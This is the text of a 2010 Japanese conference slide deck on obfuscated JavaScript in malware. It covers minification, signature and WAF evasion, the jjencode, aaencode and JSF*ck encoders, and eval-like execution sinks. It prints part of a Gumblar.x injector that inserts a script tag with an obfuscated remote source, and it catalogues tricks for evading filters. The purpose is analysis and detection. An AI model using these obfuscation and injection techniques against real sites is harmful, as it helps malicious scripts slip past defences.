>100 Views
December 18, 10
スライド概要
0と1しか興味ない人のためのマルウェア分析会(NetAgent)資料 2010-12-18
難読化 JavaScript NetAgent Co.,Ltd. Yosuke HASEGAWA
韓国 POC2010 韓国最大のセキュリティカンファレンス 2010年12月14日、15日 参加者200名くらい 海外からも有名スピーカー INNOVATION TO THE FUTURE NetAgent Co., Ltd.
韓国 POC2010 INNOVATION TO THE FUTURE NetAgent Co., Ltd.
本題 難読化JavaScript
難読化の理由 圧縮の副作用として アンチウイルスやIDSのシグネイチャ 回避 アンチデバッグ INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として 配信サイズの縮小 Google Closure Compiler Yahoo! YUI Compressor Microsoft Ajax Minifier INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:圧縮の副作用として 圧縮されたJavaScriptのデバッグ deminify ツールはいろいろ Fiddlerでdeminified JSを返す Webブラウザのデバッガで解析 INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:シグネイチャの回避 パターンマッチの回避が目的 容易に亜種を生成 「解析のしにくさ」は副次的? Gumblar、Gumblar.x など INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化 : Gumblar.x
<script>/*GNU GPL*/ try{
window.onload = function(){
var If0y2m9d6n3gx = document.createElement(
's)(c&&r&i@&$p(t))@&@....'
.replace(
/&|¥(|@|#|¥!|¥$|¥^|¥)/ig, ''));
If0y2m9d6n3gx.setAttribute('type',
't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s
$$$c^r@))i$@p^@)t^!!$'
.replace(/&|#|¥)|¥!|@|¥^|¥$|¥(/ig, ''));
If0y2m9d6n3gx.setAttribute('src',
'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/('
.replace(/¥$|#|¥^|@|¥(|&|¥)|¥!/ig, ''));
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化:Gumblar 文字列リテラルに記号を挿入 ‘文$字#%列’.replace( /記号/, '' ); 機械的に生成可能 変数名が長い var If0y2m9d6n3gx, Jydcftfn0k ; 英数字のみ? INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化 : Gumblar.x パターンマッチでない検出アプローチ 文字の出現頻度 a-zA-Z0-9 と &#)!@^$( の割合 Gumblar : 30% - 55% jQuery : 87% Twitter : 88% INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化:シグネイチャの回避 特定サイトのWAF/IDSの回避が目的 一撃必殺? 一期一会? 亜種の生成は不要 あまり知りません ^^; 最終的には <script> <iframe>な どを挿入 INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化 : アンチデバッグ 解析しにくいコード ブラウザ依存でも可? 趣味の世界 jjencode, aaencode, JSF*ck INNOVATION TO THE FUTURE NetAgent Co., Ltd.
jjencode
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}
+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}
+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._
$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+
($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$
=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$
$+"¥""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"¥¥"+$.__$+$.$$_+$._$_+$.__+"(¥¥
¥"¥¥"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",¥¥
"+$.$__+$.___+"¥¥"+$.__$+$.__$+$._$_+$.$_$_+"¥¥"+$.__$+$.$$_+$.$$_
+$.$_$_+"¥¥"+$.__$+$._$_+$._$$+$.$$__+"¥¥"+$.__$+$.$$_+$._$_+"¥¥"+
$.__$+$.$_$+$.__$+"¥¥"+$.__$+$.$$_+$.___+$.__+"¥¥¥")"+"¥"")())();
http://utf-8.jp/public/jjencode.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚
Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚
ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_')
[c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚
o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_')
[(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚
Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚
o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_')
[o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='¥¥';
(゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='¥"';(゚
Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+
(゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚
Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
http://utf-8.jp/public/aaencode.html
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
JSF*ck (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+ [])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+( !+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(! ![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[] )[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[] ]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][( ![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]] +[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+ []]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[] +!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]) [!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]] +(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[] +[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][( ![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]] )[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[ +[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+ []+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[ ]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+( [][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[ +!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[] +[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+ [])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+( ![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+! +[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])() http://utf-8.jp/public/jsfuck.html INNOVATION TO THE FUTURE NetAgent Co., Ltd.
jjencodeによる攻撃 http://www.malwaredomainlist.com/forums/index. php?topic=4354.0 http://extraexploit.blogspot.com/2010/10/dollarsjavascript-code-yet-another.html INNOVATION TO THE FUTURE NetAgent Co., Ltd.
jjencodeによる攻撃 現実的には攻撃には不向き 亜種の生成が困難 IE7以下で動作しない 「エンコード」なのでデコードが簡 単 文字種から容易に検出可能 INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法いろいろ 変数の使いまわし、ロジックの裁断 ヘタクソなプログラムと一緒 単純にノイズを埋め込む JavaScriptの柔軟性を利用 window["alert"](1) eval("alert(1)") INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 数値の生成 数値を使わないコードの記述が可能に 数値でないものに演算子を適用 "2" * "3" // 6 +[] -~NaN // 0 - -1 == 1 ""^"" // 0 xor 0 == 0 INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 論理値の生成
true / false を直接記述しないコー
ドが可能に
論理値でないものに論理演算子を適用
![]
""==''
[]<{}
INNOVATION TO THE FUTURE
// false
// true
// true
NetAgent Co., Ltd.
難読化の技法 : 文字列の生成 8進数、16進数で表記 "¥101¥x42" JS or ブラウザのエスケープ関数 unescape("%41%42") String.fromCharCode(0x41,0x42) atob("QUI=") INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列の生成
文字列でないものに文字列演算子を適
用で、string にキャスト
{}+""
//"[object Object]"
[]+![]
// "false"
[]["$"]+"" // "undefined"
配列形式で1文字取り出し
([]+![])[ 0 ] // 'f'
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列の操作 文字の切り出し "abcd"[ 0 ] 引用符を使わないリテラル文字列 /ABCD/.source // 正規表現 <>ABCD</> // E4X FF INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列の操作
文字の連結
"A".concat("B")
["A","B"].join().replace(/,/g,"")
<>{"A"}{"B"}</a>
// E4X FF
INNOVATION TO THE FUTURE
NetAgent Co., Ltd.
難読化の技法 : 文字列を実行 DOM経由 write("<script>...</script>") JS内でeval eval( "alert(1)" ) INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列を実行 eval 相当の機能 setTimeout("alert(1)", 0 ) Function("alert(1)")() Number.constructor("alert(1)")() execScript("alert(1)", "jscript") //IE INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 文字列を実行 eval 相当の機能 crypto.generateCRMFRequest( 'CN=0', 0, 0, null, 'alert(1)', 384,null,'rsa-dual-use') // FF execScript( "#@~^CAAAAA==C^+.D`8#mgIAAA= =^#~@","jscript.encode") // IE INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : windowの取得 window["alert"](1) window["eval"]("alert(1)") INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : windowの取得 window, self, this, top, parent x=''.split,x(null) Date.constructor('return this')() (0,[].sort)() INNOVATION TO THE FUTURE NetAgent Co., Ltd.
難読化の技法 : 将来… ブラウザ依存の積極的活用 主ターゲットを絞る、ブラウザごと に違うexploit等 アンチデバッガ WebWorkersが利用可能 INNOVATION TO THE FUTURE NetAgent Co., Ltd.
参考資料 Our Favorite XSS Filters/IDS and how to Attack Them http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNavaFavoriteXSS-SLIDES.pdf JavaScript From Hell http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf sla.ckers.org web application security forum :: XSS Info http://sla.ckers.org/forum/list.php?2 sla.ckers.org web application security forum :: Obfuscation http://sla.ckers.org/forum/list.php?24 INNOVATION TO THE FUTURE NetAgent Co., Ltd.